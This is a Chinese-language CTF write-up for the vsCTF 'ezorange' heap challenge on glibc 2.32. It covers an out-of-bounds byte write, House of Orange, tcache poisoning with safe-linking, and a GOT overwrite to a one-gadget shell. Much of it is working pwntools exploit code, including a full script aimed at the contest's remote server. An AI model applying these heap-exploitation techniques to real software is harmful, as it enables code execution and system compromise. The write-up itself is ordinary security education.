vsCTF ezorange writeup
前言
最近都在做程序分析和写kernel, 好久没玩pwn了, 周日晚上回宿舍刚好看到有一个vsCTF的比赛, 就顺手做了个glibc 2.32的堆题. 题目本身比较简单, 不过考察了一些高版本的libc的特性, 在这里记录一下作为备忘.
初步分析
首先看一下保护:
$ checksec --file=ezorange
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
Partial RELRO
+ No PIE
, 强烈暗示修改.got.plt
.
IDA打开看一眼, 只提供了malloc和edit+show, 没有free, 结合题目名字, 必然是要用House of Orange了.
漏洞点在Modify函数里, 有一个堆上的OOB:
__int64 __fastcall Modify(_BYTE **orange_list)
{
unsigned int v2; // [rsp+10h] [rbp-10h] BYREF
unsigned int v3; // [rsp+14h] [rbp-Ch] BYREF
_BYTE *cur_ptr; // [rsp+18h] [rbp-8h]
printf("Orange number: ");
__isoc99_scanf("%u", &v2);
if ( v2 > 1 || !orange_list[v2] )
{
printf("Not allowed!");
exit(0);
}
cur_ptr = orange_list[v2];
printf("Total %u cell in this orange\n", *((_DWORD *)orange_list[v2] - 2) & 0xFFFFFFF0);
printf("Cell index: ");
__isoc99_scanf("%u", &v3);
printf("Current value: %hhu\n", (unsigned __int8)cur_ptr[v3]);// OOB
printf("New value: ");
return __isoc99_scanf("%hhu", &cur_ptr[v3]);
}
限制条件: 只能同时保有两个chunk pointer, malloc参数不能超过0x1000.
题解
太长不看版:
- 利用OOB+House of Orange来把top chunk送进unsorted bin, 从而leak libc和heap的基址
- 同上, 但是在House of Orange的最后一步之前, 将top chunk的大小缩减到tcache的范围, 这样新的top chunk就会被丢到tcache里
- 重复2, 拿到第2个tcache, 然后利用OOB构造fake chunk, malloc两次拿到fake chunk
- 覆写exit@got.plt为one gadget, 然后给一个非法输入触发get shell
逐步分析
首先定义一些用来交互的工具函数:
from pwn import *
# context.log_level = 'debug'
elf = "./ezorange"
libc = ELF('libc.so.6')
# sh = process([elf], env={"LD_PRELOAD":"libc.so.6"})
sh = process([elf])
# sh=remote("104.197.118.147", 10160)
def add(idx: int, length: int):
sh.sendlineafter(b"> ", b"1")
sh.sendlineafter(b"Orange number: ", str(idx).encode())
sh.sendlineafter(b"Size: ", str(length).encode())
return
def edit(idx: int, offset: int, buf: bytes):
# print(len(buf))
for i,b in enumerate(buf):
sh.sendlineafter(b"> ", b"2")
sh.sendlineafter(b"Orange number: ", str(idx).encode())
sh.sendlineafter(b"Cell index: ", str(offset+i).encode())
sh.recvuntil(b"Current value: ")
sh.recvline()
sh.sendlineafter(b"New value: ", str(b).encode())
def leak(idx: int, offset: int):
old_value=b""
for i in range(0x8):
sh.sendlineafter(b"> ", b"2")
sh.sendlineafter(b"Orange number: ", str(idx).encode())
sh.sendlineafter(b"Cell index: ", str(offset+i).encode())
sh.recvuntil(b"Current value: ")
sb=sh.recvline()
sb = eval(sb[:-1])
sh.sendlineafter(b"New value: ", str(sb).encode())
old_value+=sb.to_bytes(1, "little")
return old_value
Leak
泄露libc很简单, 只要用House of Orange将top chunk送进unsorted bin就可以了:
add(0, 0x400-0x10) # controller
edit(0, 0x400-0x10+0x8+0x2, b"\x00")
add(1, 0x1000) # throw top chunk to unsorted bin
libc_base = leak(0, 0x400)
libc_base = int.from_bytes(libc_base, "little") - (0x7f57d1f6ac00-0x007f57d1da5000) # 0x1c5c00
注意House of Orange要满足的条件: 1)伪造的 size 必须要对齐到内存页; 2)size 要大于 MINSIZE(0x10); 3) size 要小于之后申请的 chunk size + MINSIZE(0x10); 4) size 的 prev inuse 位必须为 1
此时unsorted bin中存的是老的top chunk的一部分:
我们从这一块chunk中拿走一部分add(1, 0x400)
, 此时拿到的新的chunk里就会包含heap上的一个地址, 可以用来计算heap的基址:
至此libc和heap的基址都已知, 接下来就是怎么劫持控制流的问题了.
tcache poisoning
题目没有给free, 我们只能像House of Orange一样, 利用sysmalloc
来将chunk放到tcache中:
#### tcache1
tcache_size = 0x10
add(1, 0x540-0x10) # consume old top chunk
new_top_offset = 0x21d70
edit(0, new_top_offset+0x8+0x2, b"\x00")# change new top chunk
add(1, 0xff0-tcache_size-0x10-0x30)# consume new top chunk
add(1, tcache_size+0x10) # then send new top chunk to tcache
#### tcache2
tcache_size = 0x10
new_top_offset = 0x42d90
edit(0, new_top_offset+0x8+0x2, b"\x00")# change new top chunk
# size 0x1fd1
add(1, 0x1000-0x10)
add(1, 0xfd0-tcache_size-0x10-0x30)# consume new top chunk
add(1, tcache_size+0x10) # then send new top chunk to tcache
此时的bins:
然后就是构造fake chunk, 这里由于glibc 2.32已经加入了chunk的0x10对齐检测, 以往的0x7f之类的错位构造就没法用了, 需要找到0x10地址对齐的size. 我这里在elf开头找了个0x20的QWORD:
这样就可以在其-0x8的位置构造tcache:
x/8gx 0x3FF140
0x3ff140: 0x0000000000000020 0x0000000000000020
0x3ff150: 0x0000000000000004 0x0000000400000004
0x3ff160: 0x0000000000000568 0x00000000003ff568
0x3ff170: 0x00000000003ff568 0x0000000000000024
接下来只要按照常规的方式, 结合heap基址计算出tcache next的地址, 然后计算出伪造的tcache的next, malloc两次拿到fake chunk:
#### fake chunk
fake_chunk = 0x3FF150
exit_plt = 0x404050
tcache2_offset = 0x44d30
fake_tcache_next = (fake_chunk^((controller_addr+tcache2_offset)>>12))
edit(0, tcache2_offset, fake_tcache_next.to_bytes(8, "little"))
add(1, 0x20-0x10)
add(1, 0x20-0x10) # got fake chunk
拿到这样的fake chunk之后并不能任意地址写, 因为OOB的长度是一个unsigned int, 限制了我们的edit的偏移最大是2^32. 但是由于是Partial RELRO
的, 所以我们可以直接覆写.got.plt
. 经过动态调试, 最终选择了覆写exit
函数的地址, 刚好满足了libc 2.32里0xceb71处的one gadget条件:
0xceb71 execve("/bin/sh", r13, rdx)
constraints:
[r13] == NULL || r13 == NULL
[rdx] == NULL || rdx == NULL
one_gadget = 0xceb71 + libc_base
edit(1, exit_plt-fake_chunk, one_gadget.to_bytes(8, "little"))
add(2, 0x10) # trigger exit and get shell
sh.sendline("cat flag.txt")
完整代码
from pwn import *
# context.log_level = 'debug'
elf = "./ezorange"
libc = ELF('libc.so.6')
# sh = process([elf], env={"LD_PRELOAD":"libc.so.6"})
# sh = process([elf])
sh=remote("104.197.118.147", 10160)
def add(idx: int, length: int):
sh.sendlineafter(b"> ", b"1")
sh.sendlineafter(b"Orange number: ", str(idx).encode())
sh.sendlineafter(b"Size: ", str(length).encode())
return
def edit(idx: int, offset: int, buf: bytes):
# print(len(buf))
for i,b in enumerate(buf):
sh.sendlineafter(b"> ", b"2")
sh.sendlineafter(b"Orange number: ", str(idx).encode())
sh.sendlineafter(b"Cell index: ", str(offset+i).encode())
sh.recvuntil(b"Current value: ")
sh.recvline()
sh.sendlineafter(b"New value: ", str(b).encode())
def leak(idx: int, offset: int):
old_value=b""
for i in range(0x8):
sh.sendlineafter(b"> ", b"2")
sh.sendlineafter(b"Orange number: ", str(idx).encode())
sh.sendlineafter(b"Cell index: ", str(offset+i).encode())
sh.recvuntil(b"Current value: ")
sb=sh.recvline()
sb = eval(sb[:-1])
sh.sendlineafter(b"New value: ", str(sb).encode())
old_value+=sb.to_bytes(1, "little")
return old_value
#### leak libc and heap base
add(0, 0x400-0x10) # controller
edit(0, 0x400-0x10+0x8+0x2, b"\x00")
add(1, 0x1000) # throw top chunk to unsorted bin
libc_base = leak(0, 0x400)
libc_base = int.from_bytes(libc_base, "little") - (0x7f57d1f6ac00-0x007f57d1da5000) # 0x1c5c00
add(1, 0x400) # split and leak heap base
heap_base = leak(0, 0x400+0x10)
heap_base = int.from_bytes(heap_base, "little") - 0x690
controller_addr = heap_base + 0x2a0
#### tcache1
tcache_size = 0x10
add(1, 0x540-0x10) # consume old top chunk
new_top_offset = 0x21d70
edit(0, new_top_offset+0x8+0x2, b"\x00")# change new top chunk
add(1, 0xff0-tcache_size-0x10-0x30)# consume new top chunk
add(1, tcache_size+0x10) # then send new top chunk to tcache
#### tcache2
tcache_size = 0x10
new_top_offset = 0x42d90
edit(0, new_top_offset+0x8+0x2, b"\x00")# change new top chunk
# size 0x1fd1
add(1, 0x1000-0x10)
add(1, 0xfd0-tcache_size-0x10-0x30)# consume new top chunk
add(1, tcache_size+0x10) # then send new top chunk to tcache
#### fake chunk
fake_chunk = 0x3FF150
one_gadget = 0xceb71 + libc_base
exit_plt = 0x404050
tcache2_offset = 0x44d30
fake_tcache_next = (fake_chunk^((controller_addr+tcache2_offset)>>12))
edit(0, tcache2_offset, fake_tcache_next.to_bytes(8, "little"))
add(1, 0x20-0x10)
add(1, 0x20-0x10) # got fake chunk
edit(1, exit_plt-fake_chunk, one_gadget.to_bytes(8, "little"))
add(2, 0x10) # trigger exit
sh.sendline("cat flag.txt")
sh.interactive()